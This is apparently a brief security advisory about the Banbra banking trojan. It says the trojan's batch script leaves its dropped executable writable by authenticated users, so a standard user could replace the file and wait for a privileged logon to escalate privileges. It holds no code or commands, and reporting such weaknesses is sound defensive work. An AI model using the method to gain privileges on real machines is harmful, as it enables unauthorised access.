Threat: Trojan-Banker.Win32.Banbra.cyt

Description: The malware writes a batch script ".bat" file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
